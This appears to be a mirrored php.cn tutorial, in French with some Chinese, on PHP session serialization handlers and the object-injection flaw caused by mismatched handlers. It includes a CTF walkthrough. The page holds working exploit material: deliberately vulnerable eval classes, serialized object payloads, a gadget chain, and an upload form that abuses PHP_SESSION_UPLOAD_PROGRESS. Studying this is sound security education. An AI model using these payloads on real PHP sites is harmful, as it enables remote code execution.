Maison développement back-end tutoriel php Mécanisme de désérialisation de session en PHP

Mécanisme de désérialisation de session en PHP

Feb 06, 2017 am 09:38 AM

Introduction

Il y a trois éléments de configuration dans php.ini :

session.save_path=""   --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start   boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler   string --定义用来序列化/反序列化的处理器名字。默认使用php
Copier après la connexion

Les options ci-dessus sont liées au stockage de session et au stockage de séquences en PHP.

Dans l'installation utilisant le composant xampp, les éléments de configuration ci-dessus sont définis comme suit :

session.save_path="D:\xampp\tmp"	表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files	  	表明session是以文件的方式来进行存储的
session.auto_start=0	表明默认不启动session
session.serialize_handler=php	   表明session的默认序列话引擎使用的是php序列话引擎
Copier après la connexion

Dans la configuration ci-dessus, session.serialize_handler est utilisé pour définir le moteur de sérialisation de la session In. En plus du moteur PHP par défaut, il existe d'autres moteurs, et les sessions correspondant aux différents moteurs sont stockées de différentes manières.

  • php_binary : La méthode de stockage est que le nom de clé en caractères ASCII correspondant à la longueur du nom de clé est la valeur sérialisée par la fonction serialize()

  • php : La méthode de stockage est que la barre verticale du nom de clé est traitée par la séquence de fonctions serialize()

  • php_serialize(php>5.5.4) : La méthode de stockage est que la valeur est traitée par la séquence de fonctions serialize() La valeur traitée

est utilisée par défaut en PHP. Si vous souhaitez la changer vers un autre moteur, il vous suffit d'ajouter le. code ini_set('session.serialize_handler', 'Besoin de définir le moteur');. L'exemple de code est le suivant :

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
// do something
Copier après la connexion

Mécanisme de stockage

Le contenu de la session en php n'est pas stocké en mémoire, mais est stocké sous forme de fichiers. est L'élément de configuration session.save_handler est utilisé pour déterminer la configuration, et la valeur par défaut est de la stocker dans un fichier.

Le fichier stocké est nommé d'après sess_sessionid, et le contenu du fichier est le contenu après la séquence de la valeur de session.

En supposant que notre environnement est xampp, la configuration par défaut est la même que ci-dessus.

Dans la configuration par défaut :

<?php
session_start()
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump();
?>
Copier après la connexion

La dernière session est stockée et affichée comme suit :

Mécanisme de désérialisation de session en PHP

Vous pouvez voir le PHPSESSID La valeur est jo86ud4jfvu81mbg28sl2s56c2, et le nom du fichier stocké sous xampp/tmp est sess_jo86ud4jfvu81mbg28sl2s56c2, et le contenu du fichier est name|s:6:"spoock";. name est la valeur clé, s:6:"spoock"; est le résultat de serialize("spoock").

Sous le moteur php_serialize :

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump();
?>
Copier après la connexion

Le contenu du fichier SESSION est un:1:{s:4:"name";s:6:"spoock";}. a:1 sera ajouté si php_serialize est utilisé pour la sérialisation. Dans le même temps, l'utilisation de php_serialize sérialisera à la fois la clé et la valeur dans la session.

Sous le moteur php_binary :

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_binary&#39;);
session_start();
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump();
?>
Copier après la connexion

Le contenu du fichier SESSION est names:6:"spoock";. Puisque la longueur du nom est 4, 4 correspond à EOT dans la table ASCII. Selon les règles de stockage de php_binary, le dernier est noms:6:"spoock";. (Soudain, j'ai découvert que les caractères avec une valeur ASCII de 4 ne peuvent pas être affichés sur la page Web. Veuillez vérifier vous-même le tableau ASCII)

La sérialisation est simple à utiliser

test.php

?php
class syclover{
        var $func="";
        function __construct() {
            $this->func = "phpinfo()";
        }
        function __wakeup(){
            eval($this->func);
        }
}
unserialize($_GET[&#39;a&#39;]);
?>
Copier après la connexion

Les paramètres entrants sont sérialisés sur la ligne 11. Nous pouvons transmettre une chaîne spécifique, la désérialiser dans un exemple de syclover, puis exécuter la méthode eval(). Nous visitons localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}. Ensuite, le contenu obtenu par désérialisation est :

object(syclover)[1]
  public &#39;func&#39; => string &#39;echo "spoock";&#39; (length=14)
Copier après la connexion

La dernière page en sortie est spoock, indiquant que la méthode echo "spoock" que nous avons définie a finalement été exécutée.

Ceci est une démonstration d'une simple vulnérabilité de sérialisation

Risques de sérialisation dans PHP Session

Il n'y a aucun problème avec l'implémentation de Session en PHP, les principaux dangers sont causés par utilisation inappropriée de Session par les programmeurs.

Si le moteur utilisé par PHP pour désérialiser les données $_SESSION stockées est différent du moteur utilisé pour la sérialisation, les données ne seront pas désérialisées correctement. Grâce à des paquets de données soigneusement construits, il est possible de contourner la vérification du programme ou d'exécuter certaines méthodes système. Par exemple :

$_SESSION[&#39;ryat&#39;] = &#39;|O:11:"PeopleClass":0:{}&#39;;
Copier après la connexion

Les données $_SESSION ci-dessus utilisent php_serialize, alors le contenu final stocké est a:1:{s:6:"spoock";s:24:"|O:11: " PeopleClass":0:{}";}.

Mais quand nous lisons, nous avons choisi php, donc le dernier contenu lu est :

array (size=1)
  &#39;a:1:{s:6:"spoock";s:24:"&#39; =>
    object(__PHP_Incomplete_Class)[1]
      public &#39;__PHP_Incomplete_Class_Name&#39; => string &#39;PeopleClass&#39; (length=11)
Copier après la connexion

C'est parce que lors de l'utilisation du moteur php, le moteur php utilisera comme séparateur entre | clé et valeur, alors a:1:{s:6:"spoock";s:24:" sera utilisé comme clé de SESSION, et O:11:"PeopleClass":0:{ } comme valeur, puis désérialisera , et enfin vous obtiendrez la classe PeopleClas.

Les différents moteurs utilisés pour la sérialisation et la désérialisation sont les raisons de la vulnérabilité de sérialisation de session PHP.

L'utilisation réelle de

<🎜. > existe s1.php et us2.php. Les moteurs SESSION utilisés par les deux fichiers sont différents, ce qui crée une vulnérabilité,

s1 php, utilisez php_serialize pour traiter la session

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
$_SESSION["spoock"]=$_GET["a"];
Copier après la connexion
. us2.php, utilisez php pour traiter la session

ini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);
session_start();
class lemon {
    var $hi;
    function __construct(){
        $this->hi = &#39;phpinfo();&#39;;
    }
    
    function __destruct() {
         eval($this->hi);
    }
}
Copier après la connexion
Lors de l'accès à s1.php, soumettez les données suivantes :

localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}
Copier après la connexion
Les données transmises à ce moment seront sérialisées selon php_serialize.

Lors de l'accès à us2.php, la page de sortie, spoock a exécuté avec succès la fonction que nous avons construite. Lors de l'utilisation de php, le programme désérialisera les données dans SESSION selon php. sera désérialisé, l'objet citron sera instancié, et enfin la méthode eval() dans le destructeur sera exécutée>

CTF

.

在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下:

class.php

<?php
 
highlight_string(file_get_contents(basename($_SERVER[&#39;PHP_SELF&#39;])));
//show_source(__FILE__);
 
class foo1{
        public $varr;
        function __construct(){
                $this->varr = "index.php";
        }
        function __destruct(){
                if(file_exists($this->varr)){
                        echo "<br>文件".$this->varr."存在<br>";
                }
                echo "<br>这是foo1的析构函数<br>";
        }
}
 
class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = &#39;1234567890&#39;;
                $this->obj = null;
        }
        function __toString(){
                $this->obj->execute();
                return $this->varr;
        }
        function __desctuct(){
                echo "<br>这是foo2的析构函数<br>";
        }
}
 
class foo3{
        public $varr;
        function execute(){
                eval($this->varr);
        }
        function __desctuct(){
                echo "<br>这是foo3的析构函数<br>";
        }
}
 
?>
Copier après la connexion

index.php

<?php
 
ini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);
 
require("./class.php");
 
session_start();
 
$obj = new foo1();
 
$obj->varr = "phpinfo.php";
 
?>
Copier après la connexion

通过代码发现,我们最终是要通过foo3中的execute来执行我们自定义的函数。

那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下:


myindex.php

<?php
class foo3{
        public $varr=&#39;echo "spoock";&#39;;
        function execute(){
                eval($this->varr);
        }
}
class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = &#39;1234567890&#39;;
                $this->obj = new foo3();
        }
        function __toString(){
                $this->obj->execute();
                return $this->varr;
        }
}
 
class foo1{
        public $varr;
        function __construct(){
                $this->varr = new foo2();
        }
}
 
 
$obj = new foo1();
print_r(serialize($obj));
?>
Copier après la connexion

在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}
Copier après la connexion

这样当上面的序列话的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的echo "spoock";的方法了。

写入的方式主要是利用PHP中Session Upload Progress来进行设置,具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下:

<form action="index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>
Copier après la connexion

最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。

那么最终写入的文件名是|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:1:"1";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:12:"var_dump(1);";}}}。注意与本地反序列化不一样的地方是要在最前方加上|

但是我在进行本地测试的时候,发现无法实现安恒这道题目所实现的效果,但是最终的原理是一样的。

总结

通过对PHP中的SESSION的分析,对PHP中的SESSION的实现原理有了更加深刻的认识。这个PHP的SESSION问题也是一个很好的问题。上述的这篇文章不仅使大家PHP中的SESSION的序列化漏洞有一个认识,也有助于程序员加强在PHP中的SESSION机制的理解。

以上就是PHP 中 Session 反序列化机制的内容,更多相关内容请关注PHP中文网(www.php.cn)!


Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

Video Face Swap

Video Face Swap

Échangez les visages dans n'importe quelle vidéo sans effort grâce à notre outil d'échange de visage AI entièrement gratuit !

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Guide d'installation et de mise à niveau de PHP 8.4 pour Ubuntu et Debian Guide d'installation et de mise à niveau de PHP 8.4 pour Ubuntu et Debian Dec 24, 2024 pm 04:42 PM

PHP 8.4 apporte plusieurs nouvelles fonctionnalités, améliorations de sécurité et de performances avec une bonne quantité de dépréciations et de suppressions de fonctionnalités. Ce guide explique comment installer PHP 8.4 ou mettre à niveau vers PHP 8.4 sur Ubuntu, Debian ou leurs dérivés. Bien qu'il soit possible de compiler PHP à partir des sources, son installation à partir d'un référentiel APT comme expliqué ci-dessous est souvent plus rapide et plus sécurisée car ces référentiels fourniront les dernières corrections de bogues et mises à jour de sécurité à l'avenir.

7 fonctions PHP que je regrette de ne pas connaître auparavant 7 fonctions PHP que je regrette de ne pas connaître auparavant Nov 13, 2024 am 09:42 AM

Si vous êtes un développeur PHP expérimenté, vous aurez peut-être le sentiment d'y être déjà allé et de l'avoir déjà fait. Vous avez développé un nombre important d'applications, débogué des millions de lignes de code et peaufiné de nombreux scripts pour réaliser des opérations.

Comment configurer Visual Studio Code (VS Code) pour le développement PHP Comment configurer Visual Studio Code (VS Code) pour le développement PHP Dec 20, 2024 am 11:31 AM

Visual Studio Code, également connu sous le nom de VS Code, est un éditeur de code source gratuit – ou environnement de développement intégré (IDE) – disponible pour tous les principaux systèmes d'exploitation. Avec une large collection d'extensions pour de nombreux langages de programmation, VS Code peut être c

Expliquez les jetons Web JSON (JWT) et leur cas d'utilisation dans les API PHP. Expliquez les jetons Web JSON (JWT) et leur cas d'utilisation dans les API PHP. Apr 05, 2025 am 12:04 AM

JWT est une norme ouverte basée sur JSON, utilisée pour transmettre en toute sécurité des informations entre les parties, principalement pour l'authentification de l'identité et l'échange d'informations. 1. JWT se compose de trois parties: en-tête, charge utile et signature. 2. Le principe de travail de JWT comprend trois étapes: la génération de JWT, la vérification de la charge utile JWT et l'analyse. 3. Lorsque vous utilisez JWT pour l'authentification en PHP, JWT peut être généré et vérifié, et les informations sur le rôle et l'autorisation des utilisateurs peuvent être incluses dans l'utilisation avancée. 4. Les erreurs courantes incluent une défaillance de vérification de signature, l'expiration des jetons et la charge utile surdimensionnée. Les compétences de débogage incluent l'utilisation des outils de débogage et de l'exploitation forestière. 5. L'optimisation des performances et les meilleures pratiques incluent l'utilisation des algorithmes de signature appropriés, la définition des périodes de validité raisonnablement,

Comment analysez-vous et traitez-vous HTML / XML dans PHP? Comment analysez-vous et traitez-vous HTML / XML dans PHP? Feb 07, 2025 am 11:57 AM

Ce tutoriel montre comment traiter efficacement les documents XML à l'aide de PHP. XML (Language de balisage extensible) est un langage de balisage basé sur le texte polyvalent conçu à la fois pour la lisibilité humaine et l'analyse de la machine. Il est couramment utilisé pour le stockage de données et

Programme PHP pour compter les voyelles dans une chaîne Programme PHP pour compter les voyelles dans une chaîne Feb 07, 2025 pm 12:12 PM

Une chaîne est une séquence de caractères, y compris des lettres, des nombres et des symboles. Ce tutoriel apprendra à calculer le nombre de voyelles dans une chaîne donnée en PHP en utilisant différentes méthodes. Les voyelles en anglais sont a, e, i, o, u, et elles peuvent être en majuscules ou en minuscules. Qu'est-ce qu'une voyelle? Les voyelles sont des caractères alphabétiques qui représentent une prononciation spécifique. Il y a cinq voyelles en anglais, y compris les majuscules et les minuscules: a, e, i, o, u Exemple 1 Entrée: String = "TutorialSpoint" Sortie: 6 expliquer Les voyelles dans la chaîne "TutorialSpoint" sont u, o, i, a, o, i. Il y a 6 yuans au total

Expliquez la liaison statique tardive en PHP (statique: :). Expliquez la liaison statique tardive en PHP (statique: :). Apr 03, 2025 am 12:04 AM

Liaison statique (statique: :) ​​implémente la liaison statique tardive (LSB) dans PHP, permettant à des classes d'appel d'être référencées dans des contextes statiques plutôt que de définir des classes. 1) Le processus d'analyse est effectué au moment de l'exécution, 2) Recherchez la classe d'appel dans la relation de succession, 3) il peut apporter des frais généraux de performance.

Quelles sont les méthodes PHP Magic (__construct, __ destruct, __ call, __get, __set, etc.) et fournir des cas d'utilisation? Quelles sont les méthodes PHP Magic (__construct, __ destruct, __ call, __get, __set, etc.) et fournir des cas d'utilisation? Apr 03, 2025 am 12:03 AM

Quelles sont les méthodes magiques de PHP? Les méthodes magiques de PHP incluent: 1. \ _ \ _ Construct, utilisé pour initialiser les objets; 2. \ _ \ _ Destruct, utilisé pour nettoyer les ressources; 3. \ _ \ _ Appel, gérer les appels de méthode inexistants; 4. \ _ \ _ GET, Implémentez l'accès à l'attribut dynamique; 5. \ _ \ _ SET, Implémentez les paramètres d'attribut dynamique. Ces méthodes sont automatiquement appelées dans certaines situations, améliorant la flexibilité et l'efficacité du code.

See all articles